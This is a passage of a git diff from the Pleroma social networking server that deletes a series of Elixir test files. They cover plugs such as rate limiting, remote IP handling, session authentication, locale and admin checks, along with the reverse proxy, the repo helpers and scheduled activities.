8, 8}) - - plug_opts = RateLimiter.init(name: limiter_name) - - user = insert(:user) - conn = build_conn(:get, "/") |> assign(:user, user) - - user_2 = insert(:user) - conn_2 = build_conn(:get, "/") |> assign(:user, user_2) - - for i <- 1..5 do - conn = RateLimiter.call(conn, plug_opts) - assert {^i, _} = RateLimiter.inspect_bucket(conn, limiter_name, plug_opts) - end - - conn = RateLimiter.call(conn, plug_opts) - assert %{"error" => "Throttled"} = ConnTest.json_response(conn, :too_many_requests) - assert conn.halted - - conn_2 = RateLimiter.call(conn_2, plug_opts) - assert {1, 4} = RateLimiter.inspect_bucket(conn_2, limiter_name, plug_opts) - refute conn_2.status == Conn.Status.code(:too_many_requests) - refute conn_2.resp_body - refute conn_2.halted - end - end - - test "doesn't crash due to a race condition when multiple requests are made at the same time and the bucket is not yet initialized" do - limiter_name = :test_race_condition - Pleroma.Config.put([:rate_limit, limiter_name], {1000, 5}) - Pleroma.Config.put([Pleroma.Web.Endpoint, :http, :ip], {8, 8, 8, 8}) - - opts = RateLimiter.init(name: limiter_name) - - conn = build_conn(:get, "/") - conn_2 = build_conn(:get, "/") - - %Task{pid: pid1} = - task1 = - Task.async(fn -> - receive do - :process2_up -> - RateLimiter.call(conn, opts) - end - end) - - task2 = - Task.async(fn -> - send(pid1, :process2_up) - RateLimiter.call(conn_2, opts) - end) - - Task.await(task1) - Task.await(task2) - - refute {:err, :not_found} == RateLimiter.inspect_bucket(conn, limiter_name, opts) - end -end diff --git a/test/plugs/remote_ip_test.exs b/test/plugs/remote_ip_test.exs deleted file mode 100644 index 6d01c812d..000000000 --- a/test/plugs/remote_ip_test.exs +++ /dev/null @@ -1,108 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.RemoteIpTest do - use ExUnit.Case - use Plug.Test - - alias Pleroma.Plugs.RemoteIp - - import Pleroma.Tests.Helpers, only: [clear_config: 2] - - setup do: - clear_config(RemoteIp, - enabled: true, - headers: ["x-forwarded-for"], - proxies: [], - reserved: [ - "127.0.0.0/8", - "::1/128", - "fc00::/7", - "10.0.0.0/8", - "172.16.0.0/12", - "192.168.0.0/16" - ] - ) - - test "disabled" do - Pleroma.Config.put(RemoteIp, enabled: false) - - %{remote_ip: remote_ip} = conn(:get, "/") - - conn = - conn(:get, "/") - |> put_req_header("x-forwarded-for", "1.1.1.1") - |> RemoteIp.call(nil) - - assert conn.remote_ip == remote_ip - end - - test "enabled" do - conn = - conn(:get, "/") - |> put_req_header("x-forwarded-for", "1.1.1.1") - |> RemoteIp.call(nil) - - assert conn.remote_ip == {1, 1, 1, 1} - end - - test "custom headers" do - Pleroma.Config.put(RemoteIp, enabled: true, headers: ["cf-connecting-ip"]) - - conn = - conn(:get, "/") - |> put_req_header("x-forwarded-for", "1.1.1.1") - |> RemoteIp.call(nil) - - refute conn.remote_ip == {1, 1, 1, 1} - - conn = - conn(:get, "/") - |> put_req_header("cf-connecting-ip", "1.1.1.1") - |> RemoteIp.call(nil) - - assert conn.remote_ip == {1, 1, 1, 1} - end - - test "custom proxies" do - conn = - conn(:get, "/") - |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1, 173.245.48.2") - |> RemoteIp.call(nil) - - refute conn.remote_ip == {1, 1, 1, 1} - - Pleroma.Config.put([RemoteIp, :proxies], ["173.245.48.0/20"]) - - conn = - conn(:get, "/") - |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1, 173.245.48.2") - |> RemoteIp.call(nil) - - assert conn.remote_ip == {1, 1, 1, 1} - end - - test "proxies set without CIDR format" do - Pleroma.Config.put([RemoteIp, :proxies], ["173.245.48.1"]) - - conn = - conn(:get, "/") - |> put_req_header("x-forwarded-for", "173.245.48.1, 1.1.1.1") - |> RemoteIp.call(nil) - - assert conn.remote_ip == {1, 1, 1, 1} - end - - test "proxies set `nonsensical` CIDR" do - Pleroma.Config.put([RemoteIp, :reserved], ["127.0.0.0/8"]) - Pleroma.Config.put([RemoteIp, :proxies], ["10.0.0.3/24"]) - - conn = - conn(:get, "/") - |> put_req_header("x-forwarded-for", "10.0.0.3, 1.1.1.1") - |> RemoteIp.call(nil) - - assert conn.remote_ip == {1, 1, 1, 1} - end -end diff --git a/test/plugs/session_authentication_plug_test.exs b/test/plugs/session_authentication_plug_test.exs deleted file mode 100644 index 0949ecfed..000000000 --- a/test/plugs/session_authentication_plug_test.exs +++ /dev/null @@ -1,63 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.SessionAuthenticationPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Plugs.SessionAuthenticationPlug - alias Pleroma.User - - setup %{conn: conn} do - session_opts = [ - store: :cookie, - key: "_test", - signing_salt: "cooldude" - ] - - conn = - conn - |> Plug.Session.call(Plug.Session.init(session_opts)) - |> fetch_session - |> assign(:auth_user, %User{id: 1}) - - %{conn: conn} - end - - test "it does nothing if a user is assigned", %{conn: conn} do - conn = - conn - |> assign(:user, %User{}) - - ret_conn = - conn - |> SessionAuthenticationPlug.call(%{}) - - assert ret_conn == conn - end - - test "if the auth_user has the same id as the user_id in the session, it assigns the user", %{ - conn: conn - } do - conn = - conn - |> put_session(:user_id, conn.assigns.auth_user.id) - |> SessionAuthenticationPlug.call(%{}) - - assert conn.assigns.user == conn.assigns.auth_user - end - - test "if the auth_user has a different id as the user_id in the session, it does nothing", %{ - conn: conn - } do - conn = - conn - |> put_session(:user_id, -1) - - ret_conn = - conn - |> SessionAuthenticationPlug.call(%{}) - - assert ret_conn == conn - end -end diff --git a/test/plugs/set_format_plug_test.exs b/test/plugs/set_format_plug_test.exs deleted file mode 100644 index 7a1dfe9bf..000000000 --- a/test/plugs/set_format_plug_test.exs +++ /dev/null @@ -1,38 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.SetFormatPlugTest do - use ExUnit.Case, async: true - use Plug.Test - - alias Pleroma.Plugs.SetFormatPlug - - test "set format from params" do - conn = - :get - |> conn("/cofe?_format=json") - |> SetFormatPlug.call([]) - - assert %{format: "json"} == conn.assigns - end - - test "set format from header" do - conn = - :get - |> conn("/cofe") - |> put_private(:phoenix_format, "xml") - |> SetFormatPlug.call([]) - - assert %{format: "xml"} == conn.assigns - end - - test "doesn't set format" do - conn = - :get - |> conn("/cofe") - |> SetFormatPlug.call([]) - - refute conn.assigns[:format] - end -end diff --git a/test/plugs/set_locale_plug_test.exs b/test/plugs/set_locale_plug_test.exs deleted file mode 100644 index 7114b1557..000000000 --- a/test/plugs/set_locale_plug_test.exs +++ /dev/null @@ -1,46 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.SetLocalePlugTest do - use ExUnit.Case, async: true - use Plug.Test - - alias Pleroma.Plugs.SetLocalePlug - alias Plug.Conn - - test "default locale is `en`" do - conn = - :get - |> conn("/cofe") - |> SetLocalePlug.call([]) - - assert "en" == Gettext.get_locale() - assert %{locale: "en"} == conn.assigns - end - - test "use supported locale from `accept-language`" do - conn = - :get - |> conn("/cofe") - |> Conn.put_req_header( - "accept-language", - "ru, fr-CH, fr;q=0.9, en;q=0.8, *;q=0.5" - ) - |> SetLocalePlug.call([]) - - assert "ru" == Gettext.get_locale() - assert %{locale: "ru"} == conn.assigns - end - - test "use default locale if locale from `accept-language` is not supported" do - conn = - :get - |> conn("/cofe") - |> Conn.put_req_header("accept-language", "tlh") - |> SetLocalePlug.call([]) - - assert "en" == Gettext.get_locale() - assert %{locale: "en"} == conn.assigns - end -end diff --git a/test/plugs/set_user_session_id_plug_test.exs b/test/plugs/set_user_session_id_plug_test.exs deleted file mode 100644 index 7f1a1e98b..000000000 --- a/test/plugs/set_user_session_id_plug_test.exs +++ /dev/null @@ -1,45 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.SetUserSessionIdPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Plugs.SetUserSessionIdPlug - alias Pleroma.User - - setup %{conn: conn} do - session_opts = [ - store: :cookie, - key: "_test", - signing_salt: "cooldude" - ] - - conn = - conn - |> Plug.Session.call(Plug.Session.init(session_opts)) - |> fetch_session - - %{conn: conn} - end - - test "doesn't do anything if the user isn't set", %{conn: conn} do - ret_conn = - conn - |> SetUserSessionIdPlug.call(%{}) - - assert ret_conn == conn - end - - test "sets the user_id in the session to the user id of the user assign", %{conn: conn} do - Code.ensure_compiled(Pleroma.User) - - conn = - conn - |> assign(:user, %User{id: 1}) - |> SetUserSessionIdPlug.call(%{}) - - id = get_session(conn, :user_id) - assert id == 1 - end -end diff --git a/test/plugs/uploaded_media_plug_test.exs b/test/plugs/uploaded_media_plug_test.exs deleted file mode 100644 index 20b13dfac..000000000 --- a/test/plugs/uploaded_media_plug_test.exs +++ /dev/null @@ -1,43 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.UploadedMediaPlugTest do - use Pleroma.Web.ConnCase - alias Pleroma.Upload - - defp upload_file(context) do - Pleroma.DataCase.ensure_local_uploader(context) - File.cp!("test/fixtures/image.jpg", "test/fixtures/image_tmp.jpg") - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image_tmp.jpg"), - filename: "nice_tf.jpg" - } - - {:ok, data} = Upload.store(file) - [%{"href" => attachment_url} | _] = data["url"] - [attachment_url: attachment_url] - end - - setup_all :upload_file - - test "does not send Content-Disposition header when name param is not set", %{ - attachment_url: attachment_url - } do - conn = get(build_conn(), attachment_url) - refute Enum.any?(conn.resp_headers, &(elem(&1, 0) == "content-disposition")) - end - - test "sends Content-Disposition header when name param is set", %{ - attachment_url: attachment_url - } do - conn = get(build_conn(), attachment_url <> "?name=\"cofe\".gif") - - assert Enum.any?( - conn.resp_headers, - &(&1 == {"content-disposition", "filename=\"\\\"cofe\\\".gif\""}) - ) - end -end diff --git a/test/plugs/user_enabled_plug_test.exs b/test/plugs/user_enabled_plug_test.exs deleted file mode 100644 index b219d8abf..000000000 --- a/test/plugs/user_enabled_plug_test.exs +++ /dev/null @@ -1,59 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.UserEnabledPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Plugs.UserEnabledPlug - import Pleroma.Factory - - setup do: clear_config([:instance, :account_activation_required]) - - test "doesn't do anything if the user isn't set", %{conn: conn} do - ret_conn = - conn - |> UserEnabledPlug.call(%{}) - - assert ret_conn == conn - end - - test "with a user that's not confirmed and a config requiring confirmation, it removes that user", - %{conn: conn} do - Pleroma.Config.put([:instance, :account_activation_required], true) - - user = insert(:user, confirmation_pending: true) - - conn = - conn - |> assign(:user, user) - |> UserEnabledPlug.call(%{}) - - assert conn.assigns.user == nil - end - - test "with a user that is deactivated, it removes that user", %{conn: conn} do - user = insert(:user, deactivated: true) - - conn = - conn - |> assign(:user, user) - |> UserEnabledPlug.call(%{}) - - assert conn.assigns.user == nil - end - - test "with a user that is not deactivated, it does nothing", %{conn: conn} do - user = insert(:user) - - conn = - conn - |> assign(:user, user) - - ret_conn = - conn - |> UserEnabledPlug.call(%{}) - - assert conn == ret_conn - end -end diff --git a/test/plugs/user_fetcher_plug_test.exs b/test/plugs/user_fetcher_plug_test.exs deleted file mode 100644 index 0496f14dd..000000000 --- a/test/plugs/user_fetcher_plug_test.exs +++ /dev/null @@ -1,41 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.UserFetcherPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Plugs.UserFetcherPlug - import Pleroma.Factory - - setup do - user = insert(:user) - %{user: user} - end - - test "if an auth_credentials assign is present, it tries to fetch the user and assigns it", %{ - conn: conn, - user: user - } do - conn = - conn - |> assign(:auth_credentials, %{ - username: user.nickname, - password: nil - }) - - conn = - conn - |> UserFetcherPlug.call(%{}) - - assert conn.assigns[:auth_user] == user - end - - test "without a credential assign it doesn't do anything", %{conn: conn} do - ret_conn = - conn - |> UserFetcherPlug.call(%{}) - - assert conn == ret_conn - end -end diff --git a/test/plugs/user_is_admin_plug_test.exs b/test/plugs/user_is_admin_plug_test.exs deleted file mode 100644 index 8bc00e444..000000000 --- a/test/plugs/user_is_admin_plug_test.exs +++ /dev/null @@ -1,37 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Plugs.UserIsAdminPlugTest do - use Pleroma.Web.ConnCase, async: true - - alias Pleroma.Plugs.UserIsAdminPlug - import Pleroma.Factory - - test "accepts a user that is an admin" do - user = insert(:user, is_admin: true) - - conn = assign(build_conn(), :user, user) - - ret_conn = UserIsAdminPlug.call(conn, %{}) - - assert conn == ret_conn - end - - test "denies a user that isn't an admin" do - user = insert(:user) - - conn = - build_conn() - |> assign(:user, user) - |> UserIsAdminPlug.call(%{}) - - assert conn.status == 403 - end - - test "denies when a user isn't set" do - conn = UserIsAdminPlug.call(build_conn(), %{}) - - assert conn.status == 403 - end -end diff --git a/test/registration_test.exs b/test/registration_test.exs deleted file mode 100644 index 7db8e3664..000000000 --- a/test/registration_test.exs +++ /dev/null @@ -1,59 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.RegistrationTest do - use Pleroma.DataCase - - import Pleroma.Factory - - alias Pleroma.Registration - alias Pleroma.Repo - - describe "generic changeset" do - test "requires :provider, :uid" do - registration = build(:registration, provider: nil, uid: nil) - - cs = Registration.changeset(registration, %{}) - refute cs.valid? - - assert [ - provider: {"can't be blank", [validation: :required]}, - uid: {"can't be blank", [validation: :required]} - ] == cs.errors - end - - test "ensures uniqueness of [:provider, :uid]" do - registration = insert(:registration) - registration2 = build(:registration, provider: registration.provider, uid: registration.uid) - - cs = Registration.changeset(registration2, %{}) - assert cs.valid? - - assert {:error, - %Ecto.Changeset{ - errors: [ - uid: - {"has already been taken", - [constraint: :unique, constraint_name: "registrations_provider_uid_index"]} - ] - }} = Repo.insert(cs) - - # Note: multiple :uid values per [:user_id, :provider] are intentionally allowed - cs2 = Registration.changeset(registration2, %{uid: "available.uid"}) - assert cs2.valid? - assert {:ok, _} = Repo.insert(cs2) - - cs3 = Registration.changeset(registration2, %{provider: "provider2"}) - assert cs3.valid? - assert {:ok, _} = Repo.insert(cs3) - end - - test "allows `nil` :user_id (user-unbound registration)" do - registration = build(:registration, user_id: nil) - cs = Registration.changeset(registration, %{}) - assert cs.valid? - assert {:ok, _} = Repo.insert(cs) - end - end -end diff --git a/test/repo_test.exs b/test/repo_test.exs deleted file mode 100644 index 155791be2..000000000 --- a/test/repo_test.exs +++ /dev/null @@ -1,80 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.RepoTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.User - - describe "find_resource/1" do - test "returns user" do - user = insert(:user) - query = from(t in User, where: t.id == ^user.id) - assert Repo.find_resource(query) == {:ok, user} - end - - test "returns not_found" do - query = from(t in User, where: t.id == ^"9gBuXNpD2NyDmmxxdw") - assert Repo.find_resource(query) == {:error, :not_found} - end - end - - describe "get_assoc/2" do - test "get assoc from preloaded data" do - user = %User{name: "Agent Smith"} - token = %Pleroma.Web.OAuth.Token{insert(:oauth_token) | user: user} - assert Repo.get_assoc(token, :user) == {:ok, user} - end - - test "get one-to-one assoc from repo" do - user = insert(:user, name: "Jimi Hendrix") - token = refresh_record(insert(:oauth_token, user: user)) - - assert Repo.get_assoc(token, :user) == {:ok, user} - end - - test "get one-to-many assoc from repo" do - user = insert(:user) - - notification = - refresh_record(insert(:notification, user: user, activity: insert(:note_activity))) - - assert Repo.get_assoc(user, :notifications) == {:ok, [notification]} - end - - test "return error if has not assoc " do - token = insert(:oauth_token, user: nil) - assert Repo.get_assoc(token, :user) == {:error, :not_found} - end - end - - describe "chunk_stream/3" do - test "fetch records one-by-one" do - users = insert_list(50, :user) - - {fetch_users, 50} = - from(t in User) - |> Repo.chunk_stream(5) - |> Enum.reduce({[], 0}, fn %User{} = user, {acc, count} -> - {acc ++ [user], count + 1} - end) - - assert users == fetch_users - end - - test "fetch records in bulk" do - users = insert_list(50, :user) - - {fetch_users, 10} = - from(t in User) - |> Repo.chunk_stream(5, :batches) - |> Enum.reduce({[], 0}, fn users, {acc, count} -> - {acc ++ users, count + 1} - end) - - assert users == fetch_users - end - end -end diff --git a/test/reverse_proxy/reverse_proxy_test.exs b/test/reverse_proxy/reverse_proxy_test.exs deleted file mode 100644 index 8df63de65..000000000 --- a/test/reverse_proxy/reverse_proxy_test.exs +++ /dev/null @@ -1,336 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ReverseProxyTest do - use Pleroma.Web.ConnCase, async: true - - import ExUnit.CaptureLog - import Mox - - alias Pleroma.ReverseProxy - alias Pleroma.ReverseProxy.ClientMock - alias Plug.Conn - - setup_all do - {:ok, _} = Registry.start_link(keys: :unique, name: ClientMock) - :ok - end - - setup :verify_on_exit! - - defp user_agent_mock(user_agent, invokes) do - json = Jason.encode!(%{"user-agent": user_agent}) - - ClientMock - |> expect(:request, fn :get, url, _, _, _ -> - Registry.register(ClientMock, url, 0) - - {:ok, 200, - [ - {"content-type", "application/json"}, - {"content-length", byte_size(json) |> to_string()} - ], %{url: url}} - end) - |> expect(:stream_body, invokes, fn %{url: url} = client -> - case Registry.lookup(ClientMock, url) do - [{_, 0}] -> - Registry.update_value(ClientMock, url, &(&1 + 1)) - {:ok, json, client} - - [{_, 1}] -> - Registry.unregister(ClientMock, url) - :done - end - end) - end - - describe "reverse proxy" do - test "do not track successful request", %{conn: conn} do - user_agent_mock("hackney/1.15.1", 2) - url = "/success" - - conn = ReverseProxy.call(conn, url) - - assert conn.status == 200 - assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, nil} - end - end - - describe "user-agent" do - test "don't keep", %{conn: conn} do - user_agent_mock("hackney/1.15.1", 2) - conn = ReverseProxy.call(conn, "/user-agent") - assert json_response(conn, 200) == %{"user-agent" => "hackney/1.15.1"} - end - - test "keep", %{conn: conn} do - user_agent_mock(Pleroma.Application.user_agent(), 2) - conn = ReverseProxy.call(conn, "/user-agent-keep", keep_user_agent: true) - assert json_response(conn, 200) == %{"user-agent" => Pleroma.Application.user_agent()} - end - end - - test "closed connection", %{conn: conn} do - ClientMock - |> expect(:request, fn :get, "/closed", _, _, _ -> {:ok, 200, [], %{}} end) - |> expect(:stream_body, fn _ -> {:error, :closed} end) - |> expect(:close, fn _ -> :ok end) - - conn = ReverseProxy.call(conn, "/closed") - assert conn.halted - end - - defp stream_mock(invokes, with_close? \\ false) do - ClientMock - |> expect(:request, fn :get, "/stream-bytes/" <> length, _, _, _ -> - Registry.register(ClientMock, "/stream-bytes/" <> length, 0) - - {:ok, 200, [{"content-type", "application/octet-stream"}], - %{url: "/stream-bytes/" <> length}} - end) - |> expect(:stream_body, invokes, fn %{url: "/stream-bytes/" <> length} = client -> - max = String.to_integer(length) - - case Registry.lookup(ClientMock, "/stream-bytes/" <> length) do - [{_, current}] when current < max -> - Registry.update_value( - ClientMock, - "/stream-bytes/" <> length, - &(&1 + 10) - ) - - {:ok, "0123456789", client} - - [{_, ^max}] -> - Registry.unregister(ClientMock, "/stream-bytes/" <> length) - :done - end - end) - - if with_close? do - expect(ClientMock, :close, fn _ -> :ok end) - end - end - - describe "max_body" do - test "length returns error if content-length more than option", %{conn: conn} do - user_agent_mock("hackney/1.15.1", 0) - - assert capture_log(fn -> - ReverseProxy.call(conn, "/huge-file", max_body_length: 4) - end) =~ - "[error] Elixir.Pleroma.ReverseProxy: request to \"/huge-file\" failed: :body_too_large" - - assert {:ok, true} == Cachex.get(:failed_proxy_url_cache, "/huge-file") - - assert capture_log(fn -> - ReverseProxy.call(conn, "/huge-file", max_body_length: 4) - end) == "" - end - - test "max_body_length returns error if streaming body more than that option", %{conn: conn} do - stream_mock(3, true) - - assert capture_log(fn -> - ReverseProxy.call(conn, "/stream-bytes/50", max_body_length: 30) - end) =~ - "[warn] Elixir.Pleroma.ReverseProxy request to /stream-bytes/50 failed while reading/chunking: :body_too_large" - end - end - - describe "HEAD requests" do - test "common", %{conn: conn} do - ClientMock - |> expect(:request, fn :head, "/head", _, _, _ -> - {:ok, 200, [{"content-type", "text/html; charset=utf-8"}]} - end) - - conn = ReverseProxy.call(Map.put(conn, :method, "HEAD"), "/head") - assert html_response(conn, 200) == "" - end - end - - defp error_mock(status) when is_integer(status) do - ClientMock - |> expect(:request, fn :get, "/status/" <> _, _, _, _ -> - {:error, status} - end) - end - - describe "returns error on" do - test "500", %{conn: conn} do - error_mock(500) - url = "/status/500" - - capture_log(fn -> ReverseProxy.call(conn, url) end) =~ - "[error] Elixir.Pleroma.ReverseProxy: request to /status/500 failed with HTTP status 500" - - assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, true} - - {:ok, ttl} = Cachex.ttl(:failed_proxy_url_cache, url) - assert ttl <= 60_000 - end - - test "400", %{conn: conn} do - error_mock(400) - url = "/status/400" - - capture_log(fn -> ReverseProxy.call(conn, url) end) =~ - "[error] Elixir.Pleroma.ReverseProxy: request to /status/400 failed with HTTP status 400" - - assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, true} - assert Cachex.ttl(:failed_proxy_url_cache, url) == {:ok, nil} - end - - test "403", %{conn: conn} do - error_mock(403) - url = "/status/403" - - capture_log(fn -> - ReverseProxy.call(conn, url, failed_request_ttl: :timer.seconds(120)) - end) =~ - "[error] Elixir.Pleroma.ReverseProxy: request to /status/403 failed with HTTP status 403" - - {:ok, ttl} = Cachex.ttl(:failed_proxy_url_cache, url) - assert ttl > 100_000 - end - - test "204", %{conn: conn} do - url = "/status/204" - expect(ClientMock, :request, fn :get, _url, _, _, _ -> {:ok, 204, [], %{}} end) - - capture_log(fn -> - conn = ReverseProxy.call(conn, url) - assert conn.resp_body == "Request failed: No Content" - assert conn.halted - end) =~ - "[error] Elixir.Pleroma.ReverseProxy: request to \"/status/204\" failed with HTTP status 204" - - assert Cachex.get(:failed_proxy_url_cache, url) == {:ok, true} - assert Cachex.ttl(:failed_proxy_url_cache, url) == {:ok, nil} - end - end - - test "streaming", %{conn: conn} do - stream_mock(21) - conn = ReverseProxy.call(conn, "/stream-bytes/200") - assert conn.state == :chunked - assert byte_size(conn.resp_body) == 200 - assert Conn.get_resp_header(conn, "content-type") == ["application/octet-stream"] - end - - defp headers_mock(_) do - ClientMock - |> expect(:request, fn :get, "/headers", headers, _, _ -> - Registry.register(ClientMock, "/headers", 0) - {:ok, 200, [{"content-type", "application/json"}], %{url: "/headers", headers: headers}} - end) - |> expect(:stream_body, 2, fn %{url: url, headers: headers} = client -> - case Registry.lookup(ClientMock, url) do - [{_, 0}] -> - Registry.update_value(ClientMock, url, &(&1 + 1)) - headers = for {k, v} <- headers, into: %{}, do: {String.capitalize(k), v} - {:ok, Jason.encode!(%{headers: headers}), client} - - [{_, 1}] -> - Registry.unregister(ClientMock, url) - :done - end - end) - - :ok - end - - describe "keep request headers" do - setup [:headers_mock] - - test "header passes", %{conn: conn} do - conn = - Conn.put_req_header( - conn, - "accept", - "text/html" - ) - |> ReverseProxy.call("/headers") - - %{"headers" => headers} = json_response(conn, 200) - assert headers["Accept"] == "text/html" - end - - test "header is filtered", %{conn: conn} do - conn = - Conn.put_req_header( - conn, - "accept-language", - "en-US" - ) - |> ReverseProxy.call("/headers") - - %{"headers" => headers} = json_response(conn, 200) - refute headers["Accept-Language"] - end - end - - test "returns 400 on non GET, HEAD requests", %{conn: conn} do - conn = ReverseProxy.call(Map.put(conn, :method, "POST"), "/ip") - assert conn.status == 400 - end - - describe "cache resp headers" do - test "add cache-control", %{conn: conn} do - ClientMock - |> expect(:request, fn :get, "/cache", _, _, _ -> - {:ok, 200, [{"ETag", "some ETag"}], %{}} - end) - |> expect(:stream_body, fn _ -> :done end) - - conn = ReverseProxy.call(conn, "/cache") - assert {"cache-control", "public, max-age=1209600"} in conn.resp_headers - end - end - - defp disposition_headers_mock(headers) do - ClientMock - |> expect(:request, fn :get, "/disposition", _, _, _ -> - Registry.register(ClientMock, "/disposition", 0) - - {:ok, 200, headers, %{url: "/disposition"}} - end) - |> expect(:stream_body, 2, fn %{url: "/disposition"} = client -> - case Registry.lookup(ClientMock, "/disposition") do - [{_, 0}] -> - Registry.update_value(ClientMock, "/disposition", &(&1 + 1)) - {:ok, "", client} - - [{_, 1}] -> - Registry.unregister(ClientMock, "/disposition") - :done - end - end) - end - - describe "response content disposition header" do - test "not atachment", %{conn: conn} do - disposition_headers_mock([ - {"content-type", "image/gif"}, - {"content-length", "0"} - ]) - - conn = ReverseProxy.call(conn, "/disposition") - - assert {"content-type", "image/gif"} in conn.resp_headers - end - - test "with content-disposition header", %{conn: conn} do - disposition_headers_mock([ - {"content-disposition", "attachment; filename=\"filename.jpg\""}, - {"content-length", "0"} - ]) - - conn = ReverseProxy.call(conn, "/disposition") - - assert {"content-disposition", "attachment; filename=\"filename.jpg\""} in conn.resp_headers - end - end -end diff --git a/test/runtime_test.exs b/test/runtime_test.exs deleted file mode 100644 index a1a6c57cd..000000000 --- a/test/runtime_test.exs +++ /dev/null @@ -1,11 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.RuntimeTest do - use ExUnit.Case, async: true - - test "it loads custom runtime modules" do - assert {:module, RuntimeModule} == Code.ensure_compiled(RuntimeModule) - end -end diff --git a/test/safe_jsonb_set_test.exs b/test/safe_jsonb_set_test.exs deleted file mode 100644 index 8b1274545..000000000 --- a/test/safe_jsonb_set_test.exs +++ /dev/null @@ -1,16 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.SafeJsonbSetTest do - use Pleroma.DataCase - - test "it doesn't wipe the object when asked to set the value to NULL" do - assert %{rows: [[%{"key" => "value", "test" => nil}]]} = - Ecto.Adapters.SQL.query!( - Pleroma.Repo, - "select safe_jsonb_set('{\"key\": \"value\"}'::jsonb, '{test}', NULL);", - [] - ) - end -end diff --git a/test/scheduled_activity_test.exs b/test/scheduled_activity_test.exs deleted file mode 100644 index 7faa5660d..000000000 --- a/test/scheduled_activity_test.exs +++ /dev/null @@ -1,105 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ScheduledActivityTest do - use Pleroma.DataCase - alias Pleroma.DataCase - alias Pleroma.ScheduledActivity - import Pleroma.Factory - - setup do: clear_config([ScheduledActivity, :enabled]) - - setup context do - DataCase.ensure_local_uploader(context) - end - - describe "creation" do - test "scheduled activities with jobs when ScheduledActivity enabled" do - Pleroma.Config.put([ScheduledActivity, :enabled], true) - user = insert(:user) - - today = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(6), :millisecond) - |> NaiveDateTime.to_iso8601() - - attrs = %{params: %{}, scheduled_at: today} - {:ok, sa1} = ScheduledActivity.create(user, attrs) - {:ok, sa2} = ScheduledActivity.create(user, attrs) - - jobs = - Repo.all(from(j in Oban.Job, where: j.queue == "scheduled_activities", select: j.args)) - - assert jobs == [%{"activity_id" => sa1.id}, %{"activity_id" => sa2.id}] - end - - test "scheduled activities without jobs when ScheduledActivity disabled" do - Pleroma.Config.put([ScheduledActivity, :enabled], false) - user = insert(:user) - - today = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(6), :millisecond) - |> NaiveDateTime.to_iso8601() - - attrs = %{params: %{}, scheduled_at: today} - {:ok, _sa1} = ScheduledActivity.create(user, attrs) - {:ok, _sa2} = ScheduledActivity.create(user, attrs) - - jobs = - Repo.all(from(j in Oban.Job, where: j.queue == "scheduled_activities", select: j.args)) - - assert jobs == [] - end - - test "when daily user limit is exceeded" do - user = insert(:user) - - today = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(6), :millisecond) - |> NaiveDateTime.to_iso8601() - - attrs = %{params: %{}, scheduled_at: today} - {:ok, _} = ScheduledActivity.create(user, attrs) - {:ok, _} = ScheduledActivity.create(user, attrs) - - {:error, changeset} = ScheduledActivity.create(user, attrs) - assert changeset.errors == [scheduled_at: {"daily limit 